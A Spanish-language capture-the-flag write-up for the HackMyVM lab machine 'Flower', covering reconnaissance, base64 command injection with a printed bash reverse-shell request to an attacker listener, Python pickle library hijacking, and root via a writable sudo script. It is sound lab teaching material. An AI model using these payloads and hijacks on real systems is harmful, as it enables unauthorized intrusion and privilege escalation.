cd ~/blog

~/writeups/hmv/004-flower.md

004 - Flower

easy Linux hmv 16-10-2023
Command Injection (base64 param)Python pickle library hijacksudo writable script Privesc
hackmyvm.eu/machines/machine.php?vm=Flower

~1 min de lectura


Iniciamos con el reconocimiento de la red:

 arp-scan --interface=wlan0 --localnet

Escaneamos puertos con nmap:

nmap -sC -sV -p80 -oN 02-targeted 192.168.1.27
Nmap scan report for 192.168.1.27
Host is up (0.00041s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: Apache/2.4.38 (Debian)
MAC Address: 08:00:27:14:F9:58 (Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Oct 16 20:58:34 2023 -- 1 IP address (1 host up) scanned in 6.67 seconds

Enumeramos directorios con dirb:

 dirb http://192.168.1.27 -o dirb-results -R

---- Scanning URL: http://192.168.1.27/ ----
+ http://192.168.1.27/index.php (CODE:200|SIZE:1100)
==> DIRECTORY: http://192.168.1.27/manual/
+ http://192.168.1.27/server-status (CODE:403|SIZE:277)

El sitio tiene un combobox para elegir una flor y muestra el número de pétalos. Analizando la petición con Burp, vemos que el valor petals enviado es una operación codificada en base64 que el servidor evalúa, lo que abre la puerta a inyección de comandos. Ponemos un listener y enviamos una petición con un petals que decodifica a system($_GET['cmd']), pasando una reverse shell por el parámetro cmd:

POST /?cmd=bash+-c+"bash+-i+>%26+/dev/tcp/192.168.1.10/1234+0>%261" HTTP/1.1   <-------- one liner reverse shell con url encode
Host: 192.168.1.27
Content-Length: 35
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.1.27
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.1.27/
Accept-Encoding: gzip, deflate, br
Accept-Language: es-419,es;q=0.9
Connection: close

petals=c3lzdGVtKCRfR0VUWydjbWQnXSkK      <------------------------------------------------ system($_GET['cmd']) en base64

Obtenemos una shell como www-data:

www-data@flower:/var/www/html$ whoami
whoami
www-data

En /home existe el usuario rose, cuya flag aún no podemos leer. Iniciamos la escalada con sudo -l:

Matching Defaults entries for www-data on flower:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on flower:
    (rose) NOPASSWD: /usr/bin/python3 /home/rose/diary/diary.py

Podemos ejecutar diary.py como rose. No es viable un PATH hijacking, así que revisamos el script:

import pickle

diary = {"November28":"i found a blue viola","December1":"i lost my blue viola"}
p = open('diary.pickle','wb')
pickle.dump(diary,p)

El script importa pickle. Comprobamos los permisos de la carpeta diary:

drwxrwxrwx 3 rose rose 4096 Oct 17 00:33 diary

Como es escribible, hacemos library hijacking: creamos un pickle.py malicioso en el mismo directorio del script, ya que Python prioriza las dependencias del directorio actual al importar:

import os

os.system('/bin/bash')

Ejecutamos el programa como rose para que cargue nuestro pickle.py y nos dé una shell:

sudo -u rose /usr/bin/python3 /home/rose/diary/diary.py
rose@flower:~/diary$ whoami
rose

Capturamos la flag de usuario y continuamos con sudo -l:

Matching Defaults entries for rose on flower:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User rose may run the following commands on flower:
    (root) NOPASSWD: /bin/bash /home/rose/.plantbook

Revisamos .plantbook:

#!/bin/bash
echo Hello, write the name of the flower that u found
read flower
echo Nice, $flower submitted on : $(date)

Como podemos modificarlo (está en el home de rose), le añadimos una línea que lance una shell privilegiada:

#!/bin/bash
echo Hello, write the name of the flower that u found
read flower
echo Nice, $flower submitted on : $(date)
/bin/bash

Lo ejecutamos como root:

sudo -u root /bin/bash /home/rose/.plantbook

Obtenemos acceso root y capturamos la última flag.

Fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados